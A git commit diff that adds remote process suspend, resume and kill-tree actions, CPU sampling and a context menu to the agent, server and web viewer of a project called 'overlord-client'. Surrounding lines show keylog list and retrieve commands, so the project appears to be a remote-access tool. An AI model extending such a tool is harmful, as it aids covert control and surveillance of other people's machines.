add context menu to processes view + add more shit you can do.

This commit is contained in:
KingKDot
2026-05-17 02:35:48 -05:00
parent 0cd05547e8
commit f53b1cf2c8
7 changed files with 494 additions and 75 deletions
@@ -2141,6 +2141,62 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
pid = int32(p)
}
return HandleProcessKill(ctx, env, cmdID, pid)
case "process_suspend":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
suspendPid := int32(0)
if p, ok := payload["pid"].(float64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(int64); ok {
suspendPid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
suspendPid = int32(p)
}
return HandleProcessSuspend(ctx, env, cmdID, suspendPid)
case "process_resume":
payload, _ := envelope["payload"].(map[string]interface{})
if payload == nil {
if rawPayload, ok := envelope["payload"].(map[interface{}]interface{}); ok {
payload = make(map[string]interface{}, len(rawPayload))
for k, v := range rawPayload {
ks, ok := k.(string)
if !ok {
continue
}
payload[ks] = v
}
}
}
resumePid := int32(0)
if p, ok := payload["pid"].(float64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(uint64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(int64); ok {
resumePid = int32(p)
}
if p, ok := payload["pid"].(int); ok {
resumePid = int32(p)
}
return HandleProcessResume(ctx, env, cmdID, resumePid)
case "keylog_list":
return HandleKeylogList(ctx, env, cmdID)
case "keylog_retrieve":
@@ -51,3 +51,41 @@ func HandleProcessKill(ctx context.Context, env *runtime.Env, cmdID string, pid
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessSuspend(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
log.Printf("process_suspend: %d", pid)
err := suspendProcess(pid)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
func HandleProcessResume(ctx context.Context, env *runtime.Env, cmdID string, pid int32) error {
log.Printf("process_resume: %d", pid)
err := resumeProcess(pid)
ok := err == nil
errMsg := ""
if err != nil {
errMsg = err.Error()
}
result := wire.CommandResult{
Type: "command_result",
CommandID: cmdID,
OK: ok,
Message: errMsg,
}
return wire.WriteMsg(ctx, env.Conn, result)
}
@@ -90,3 +90,11 @@ func listProcesses() ([]wire.ProcessInfo, error) {
func killProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGKILL)
}
func suspendProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGSTOP)
}
func resumeProcess(pid int32) error {
return syscall.Kill(int(pid), syscall.SIGCONT)
}
@@ -6,8 +6,11 @@ package handlers
import (
"fmt"
"os"
"runtime"
"strings"
"sync"
"syscall"
"time"
"unsafe"
"overlord-client/cmd/agent/wire"
@@ -18,10 +21,22 @@ import (
var (
modKernel32 = windows.NewLazySystemDLL("kernel32.dll")
modPsapi = windows.NewLazySystemDLL("psapi.dll")
modNtdll = windows.NewLazySystemDLL("ntdll.dll")
procEnumProcesses = modPsapi.NewProc("EnumProcesses")
procGetProcessMemoryInfo = modPsapi.NewProc("GetProcessMemoryInfo")
procOpenProcess = modKernel32.NewProc("OpenProcess")
procGetProcessImageFileNameW = modPsapi.NewProc("GetProcessImageFileNameW")
procGetProcessTimes = modKernel32.NewProc("GetProcessTimes")
)
type cpuSample struct {
cpuTime100ns uint64
sampledAt time.Time
}
var (
cpuSamplesMu sync.Mutex
cpuSamples = make(map[int32]cpuSample)
)
type PROCESS_MEMORY_COUNTERS struct {
@@ -39,6 +54,10 @@ type PROCESS_MEMORY_COUNTERS struct {
func listProcesses() ([]wire.ProcessInfo, error) {
selfPID := int32(os.Getpid())
numCPU := runtime.NumCPU()
if numCPU < 1 {
numCPU = 1
}
var pids [4096]uint32
var bytesReturned uint32
@@ -105,6 +124,36 @@ func listProcesses() ([]wire.ProcessInfo, error) {
memory = uint64(memCounters.WorkingSetSize)
}
cpu := 0.0
var creation, exit, kernel, user windows.Filetime
ret, _, _ = procGetProcessTimes.Call(
handle,
uintptr(unsafe.Pointer(&creation)),
uintptr(unsafe.Pointer(&exit)),
uintptr(unsafe.Pointer(&kernel)),
uintptr(unsafe.Pointer(&user)),
)
if ret != 0 {
cpuTotal := (uint64(kernel.HighDateTime)<<32 | uint64(kernel.LowDateTime)) +
(uint64(user.HighDateTime)<<32 | uint64(user.LowDateTime))
now := time.Now()
cpuSamplesMu.Lock()
if prev, ok := cpuSamples[pid]; ok {
wallDelta := now.Sub(prev.sampledAt).Seconds()
if wallDelta > 0 && cpuTotal >= prev.cpuTime100ns {
cpuDelta := float64(cpuTotal-prev.cpuTime100ns) / 1e7
cpu = (cpuDelta / wallDelta) / float64(numCPU) * 100.0
if cpu < 0 {
cpu = 0
} else if cpu > 100 {
cpu = 100
}
}
}
cpuSamples[pid] = cpuSample{cpuTime100ns: cpuTotal, sampledAt: now}
cpuSamplesMu.Unlock()
}
var pbi windows.PROCESS_BASIC_INFORMATION
ppid := int32(0)
err := windows.NtQueryInformationProcess(windows.Handle(handle), windows.ProcessBasicInformation, unsafe.Pointer(&pbi), uint32(unsafe.Sizeof(pbi)), nil)
@@ -155,7 +204,7 @@ func listProcesses() ([]wire.ProcessInfo, error) {
PID: pid,
PPID: ppid,
Name: name,
CPU: 0.0,
CPU: cpu,
Memory: memory,
Username: username,
Type: procType,
@@ -163,6 +212,18 @@ func listProcesses() ([]wire.ProcessInfo, error) {
})
}
cpuSamplesMu.Lock()
live := make(map[int32]struct{}, len(processes))
for _, p := range processes {
live[p.PID] = struct{}{}
}
for pid := range cpuSamples {
if _, ok := live[pid]; !ok {
delete(cpuSamples, pid)
}
}
cpuSamplesMu.Unlock()
return processes, nil
}
@@ -175,3 +236,33 @@ func killProcess(pid int32) error {
return windows.TerminateProcess(handle, 1)
}
func suspendProcess(pid int32) error {
procNtSuspendProcess := modNtdll.NewProc("NtSuspendProcess")
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
if err != nil {
return err
}
defer windows.CloseHandle(handle)
ret, _, _ := procNtSuspendProcess.Call(uintptr(handle))
if ret != 0 {
return fmt.Errorf("NtSuspendProcess failed with status 0x%x", ret)
}
return nil
}
func resumeProcess(pid int32) error {
procNtResumeProcess := modNtdll.NewProc("NtResumeProcess")
handle, err := windows.OpenProcess(windows.PROCESS_SUSPEND_RESUME, false, uint32(pid))
if err != nil {
return err
}
defer windows.CloseHandle(handle)
ret, _, _ := procNtResumeProcess.Call(uintptr(handle))
if ret != 0 {
return fmt.Errorf("NtResumeProcess failed with status 0x%x", ret)
}
return nil
}
+246 -70
View File
@@ -8,6 +8,7 @@ let processMap = new Map();
let processTree = [];
let collapsedPids = new Set();
let selectedPid = null;
let rowsByPid = new Map();
let sortField = "cpu";
let sortDirection = "desc";
let searchTerm = "";
@@ -155,54 +156,54 @@ function buildProcessTree() {
processMap.set(proc.pid, { ...proc, children: [] });
});
const isShellParent = (proc) =>
proc && typeof proc.name === "string" && proc.name.toLowerCase() === "explorer.exe";
const roots = [];
processMap.forEach((proc) => {
if (proc.ppid && processMap.has(proc.ppid)) {
processMap.get(proc.ppid).children.push(proc);
const parent = proc.ppid ? processMap.get(proc.ppid) : null;
if (parent && proc.ppid !== proc.pid && !isShellParent(parent)) {
parent.children.push(proc);
} else {
roots.push(proc);
}
});
function computeAggregates(proc) {
let cpuTotal = proc.cpu || 0;
let memTotal = Number(proc.memory || 0);
for (const child of proc.children) {
const [childCpu, childMem] = computeAggregates(child);
cpuTotal += childCpu;
memTotal += childMem;
}
proc.aggregatedCpu = Math.min(cpuTotal, 100);
proc.aggregatedMemory = memTotal;
return [cpuTotal, memTotal];
}
roots.forEach(computeAggregates);
const sortValue = (proc) => {
if (sortField === "cpu") return proc.aggregatedCpu;
if (sortField === "memory") return proc.aggregatedMemory;
if (sortField === "name") return proc.name.toLowerCase();
return proc[sortField];
};
const cmp = (a, b) => {
const aVal = sortValue(a);
const bVal = sortValue(b);
if (sortDirection === "asc") return aVal > bVal ? 1 : -1;
return aVal < bVal ? 1 : -1;
};
function sortChildren(proc) {
if (proc.children.length > 0) {
proc.children.sort((a, b) => {
let aVal = a[sortField];
let bVal = b[sortField];
if (sortField === "name") {
aVal = aVal.toLowerCase();
bVal = bVal.toLowerCase();
}
if (sortDirection === "asc") {
return aVal > bVal ? 1 : -1;
} else {
return aVal < bVal ? 1 : -1;
}
});
proc.children.forEach((child) => sortChildren(child));
proc.children.sort(cmp);
proc.children.forEach(sortChildren);
}
}
roots.forEach((proc) => sortChildren(proc));
roots.sort((a, b) => {
let aVal = a[sortField];
let bVal = b[sortField];
if (sortField === "name") {
aVal = aVal.toLowerCase();
bVal = bVal.toLowerCase();
}
if (sortDirection === "asc") {
return aVal > bVal ? 1 : -1;
} else {
return aVal < bVal ? 1 : -1;
}
});
roots.forEach(sortChildren);
roots.sort(cmp);
processTree = roots;
}
@@ -236,45 +237,79 @@ function renderProcesses() {
if (filtered.length === 0) {
processListEl.innerHTML =
'<div class="px-4 py-6 text-center text-slate-400"><i class="fa-solid fa-inbox mr-2"></i>No processes found</div>';
rowsByPid.clear();
return;
}
processListEl.innerHTML = "";
filtered.forEach((proc) => {
const row = createProcessRow(proc, proc.depth);
processListEl.appendChild(row);
for (const child of [...processListEl.children]) {
if (!child.classList.contains("process-row")) child.remove();
}
const seen = new Set();
filtered.forEach((proc, index) => {
seen.add(proc.pid);
let row = rowsByPid.get(proc.pid);
if (!row) {
row = createProcessRow(proc, proc.depth);
rowsByPid.set(proc.pid, row);
} else {
updateProcessRow(row, proc, proc.depth);
}
if (processListEl.children[index] !== row) {
processListEl.insertBefore(row, processListEl.children[index] || null);
}
});
for (const [pid, row] of rowsByPid) {
if (!seen.has(pid)) {
row.remove();
rowsByPid.delete(pid);
}
}
}
function createProcessRow(proc, depth = 0) {
const row = document.createElement("div");
row.className =
function rowClassName(proc) {
let cls =
"process-row grid grid-cols-12 gap-3 px-4 py-3 border border-transparent cursor-pointer transition-colors";
row.dataset.pid = proc.pid;
if (selectedPid === proc.pid) {
row.classList.add("selected");
}
if (proc.self) {
row.classList.add("self-process");
}
if (selectedPid === proc.pid) cls += " selected";
if (proc.self) cls += " self-process";
return cls;
}
function rowInnerHtml(proc, depth) {
const displayCpu = proc.aggregatedCpu ?? proc.cpu;
const displayMemory = proc.aggregatedMemory ?? Number(proc.memory || 0);
const cpuColor =
proc.cpu > 50
displayCpu > 50
? "text-red-400"
: proc.cpu > 20
? "text-yellow-400"
: "text-slate-400";
const memoryStr = formatBytes(proc.memory);
: displayCpu > 25
? "text-orange-400"
: displayCpu > 10
? "text-yellow-400"
: displayCpu > 1
? "text-slate-200"
: "text-slate-500";
const MB = 1024 * 1024;
const memColor =
displayMemory > 2048 * MB
? "text-red-400"
: displayMemory > 1024 * MB
? "text-orange-400"
: displayMemory > 256 * MB
? "text-yellow-400"
: displayMemory > 32 * MB
? "text-slate-200"
: "text-slate-500";
const memoryStr = formatBytes(displayMemory);
const hasChildren = proc.children && proc.children.length > 0;
const isCollapsed = collapsedPids.has(proc.pid);
const indent = " ".repeat(depth);
const indent = '<span class="tree-indent-guide"></span>'.repeat(depth);
let treeIcon = "";
let treeIcon;
if (hasChildren) {
treeIcon = `<span class="tree-icon" data-pid="${escapeHtml(String(proc.pid))}">${isCollapsed ? "▶" : "▼"}</span>`;
} else if (depth > 0) {
treeIcon = `<span class="tree-icon${isCollapsed ? " collapsed" : ""}" data-pid="${escapeHtml(String(proc.pid))}"><i class="fa-solid fa-chevron-down text-[10px]"></i></span>`;
} else {
treeIcon = '<span class="tree-indent"></span>';
}
@@ -301,28 +336,45 @@ function createProcessRow(proc, depth = 0) {
? ' <span class="ml-1 text-[10px] uppercase tracking-wide px-1.5 py-0.5 rounded bg-yellow-500/20 text-yellow-300 border border-yellow-500/40">agent</span>'
: "";
row.innerHTML = `
return `
<div class="col-span-1 text-sm font-mono text-slate-400">${proc.pid}</div>
<div class="col-span-4 flex items-center gap-1 truncate">
${indent}${treeIcon}<i class="fa-solid ${iconClass} ${iconColor}"></i>
<span class="truncate ${nameColor}">${escapeHtml(proc.name)}</span>${selfBadge}
</div>
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${proc.cpu.toFixed(1)}%</div>
<div class="col-span-2 text-sm text-slate-400">${memoryStr}</div>
<div class="col-span-2 text-sm ${cpuColor} font-semibold">${displayCpu.toFixed(1)}%</div>
<div class="col-span-2 text-sm ${memColor}">${memoryStr}</div>
<div class="col-span-3 text-sm text-slate-500 truncate">${escapeHtml(proc.username || "-")}</div>
`;
}
function updateProcessRow(row, proc, depth) {
const nextClass = rowClassName(proc);
if (row.className !== nextClass) row.className = nextClass;
row.innerHTML = rowInnerHtml(proc, depth);
}
function createProcessRow(proc, depth = 0) {
const row = document.createElement("div");
row.dataset.pid = proc.pid;
row.className = rowClassName(proc);
row.innerHTML = rowInnerHtml(proc, depth);
row.onclick = (e) => {
if (e.target.classList.contains("tree-icon")) {
toggleCollapse(proc.pid);
const pid = Number(row.dataset.pid);
if (e.target.closest(".tree-icon")) {
toggleCollapse(pid);
return;
}
selectProcess(proc.pid);
selectProcess(pid);
};
row.ondblclick = () => {
selectProcess(proc.pid);
killProcess();
row.oncontextmenu = (e) => {
e.preventDefault();
e.stopPropagation();
const pid = Number(row.dataset.pid);
selectProcess(pid);
showContextMenu(e.clientX, e.clientY, pid);
};
return row;
@@ -420,6 +472,130 @@ function escapeHtml(text) {
return div.innerHTML;
}
// Context menu
let contextMenuEl = null;
function createContextMenu() {
const menu = document.createElement("div");
menu.id = "process-context-menu";
menu.className = "fixed z-50 hidden min-w-[180px] bg-slate-800 border border-slate-700 rounded-lg shadow-xl shadow-black/40 py-1 text-sm";
menu.innerHTML = `
<button data-action="suspend" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-pause w-4 text-center text-yellow-400"></i> Suspend Process
</button>
<button data-action="resume" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-play w-4 text-center text-green-400"></i> Resume Process
</button>
<div class="border-t border-slate-700 my-1"></div>
<button data-action="kill" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-skull-crossbones w-4 text-center text-red-400"></i> Kill Process
</button>
<button data-action="kill-tree" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-diagram-project w-4 text-center text-red-400"></i> Kill Process Tree
</button>
<div class="border-t border-slate-700 my-1"></div>
<button data-action="copy-pid" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-copy w-4 text-center text-blue-400"></i> Copy PID
</button>
<button data-action="copy-name" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-tag w-4 text-center text-blue-400"></i> Copy Name
</button>
<div class="border-t border-slate-700 my-1"></div>
<button data-action="refresh" class="ctx-item w-full text-left px-3 py-2 flex items-center gap-2 hover:bg-slate-700 text-slate-200">
<i class="fa-solid fa-refresh w-4 text-center text-slate-400"></i> Refresh List
</button>
`;
document.body.appendChild(menu);
return menu;
}
function showContextMenu(x, y, pid) {
if (!contextMenuEl) contextMenuEl = createContextMenu();
contextMenuEl.dataset.pid = pid;
contextMenuEl.classList.remove("hidden");
const rect = contextMenuEl.getBoundingClientRect();
const menuW = rect.width || 180;
const menuH = rect.height || 300;
const posX = x + menuW > window.innerWidth ? window.innerWidth - menuW - 8 : x;
const posY = y + menuH > window.innerHeight ? window.innerHeight - menuH - 8 : y;
contextMenuEl.style.left = posX + "px";
contextMenuEl.style.top = posY + "px";
}
function hideContextMenu() {
if (contextMenuEl) contextMenuEl.classList.add("hidden");
}
document.addEventListener("click", hideContextMenu);
document.addEventListener("contextmenu", (e) => {
if (!e.target.closest(".process-row") && !e.target.closest("#process-context-menu")) {
hideContextMenu();
}
});
document.addEventListener("click", (e) => {
const item = e.target.closest(".ctx-item");
if (!item || !contextMenuEl) return;
const action = item.dataset.action;
const pid = Number(contextMenuEl.dataset.pid);
const proc = processes.find((p) => p.pid === pid);
hideContextMenu();
switch (action) {
case "suspend":
if (!proc) break;
if (!confirm(`Suspend process "${proc.name}" (PID: ${pid})?`)) break;
send({ type: "process_suspend", pid });
updateStatus("connected", "Suspending process...");
break;
case "resume":
if (!proc) break;
send({ type: "process_resume", pid });
updateStatus("connected", "Resuming process...");
break;
case "kill":
if (!proc) break;
if (!confirm(`Kill process "${proc.name}" (PID: ${pid})?`)) break;
send({ type: "process_kill", pid });
updateStatus("connected", "Killing process...");
break;
case "kill-tree":
if (!proc) break;
if (!confirm(`Kill process "${proc.name}" (PID: ${pid}) and all child processes?`)) break;
killProcessTree(pid);
break;
case "copy-pid":
navigator.clipboard.writeText(String(pid));
break;
case "copy-name":
if (proc) navigator.clipboard.writeText(proc.name);
break;
case "refresh":
requestProcessList();
break;
}
});
function killProcessTree(pid) {
const toKill = [];
function collectChildren(parentPid) {
for (const proc of processes) {
if (proc.ppid === parentPid && proc.pid !== parentPid) {
collectChildren(proc.pid);
toKill.push(proc.pid);
}
}
}
collectChildren(pid);
toKill.push(pid);
for (const p of toKill) {
send({ type: "process_kill", pid: p });
}
updateStatus("connected", `Killing ${toKill.length} processes...`);
}
refreshBtn.onclick = () => requestProcessList();
killBtn.onclick = () => killProcess();
+34 -4
View File
@@ -50,20 +50,50 @@
#process-list::-webkit-scrollbar-thumb:hover {
background: #64748b;
}
.tree-indent-guide {
display: inline-block;
position: relative;
width: 16px;
align-self: stretch;
flex-shrink: 0;
}
.tree-indent-guide::before {
content: "";
position: absolute;
left: 7px;
top: 0;
bottom: 0;
width: 1px;
background: rgba(100, 116, 139, 0.25);
}
.tree-indent {
display: inline-block;
width: 20px;
width: 16px;
flex-shrink: 0;
}
.tree-icon {
display: inline-block;
display: inline-flex;
align-items: center;
justify-content: center;
width: 16px;
text-align: center;
height: 16px;
margin-right: 4px;
color: #64748b;
cursor: pointer;
user-select: none;
border-radius: 3px;
transition:
color 120ms ease,
background-color 120ms ease,
transform 150ms ease;
flex-shrink: 0;
}
.tree-icon:hover {
color: #60a5fa;
color: #93c5fd;
background-color: rgba(96, 165, 250, 0.12);
}
.tree-icon.collapsed {
transform: rotate(-90deg);
}
.process-row.collapsed > .children {
display: none;
@@ -360,6 +360,26 @@ export function handleProcessViewerMessage(ws: ServerWebSocket<SocketData>, raw:
metrics.recordCommand("process_kill");
break;
}
case "process_suspend": {
const pid = Number(payload.pid);
if (!Number.isFinite(pid) || pid <= 0) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "process_suspend", id: commandId, payload: { pid } } as any));
metrics.recordCommand("process_suspend");
break;
}
case "process_resume": {
const pid = Number(payload.pid);
if (!Number.isFinite(pid) || pid <= 0) {
safeSendViewer(ws, { type: "command_result", commandId, ok: false, message: "Invalid PID" });
break;
}
target.ws.send(encodeMessage({ type: "command", commandType: "process_resume", id: commandId, payload: { pid } } as any));
metrics.recordCommand("process_resume");
break;
}
default:
break;
}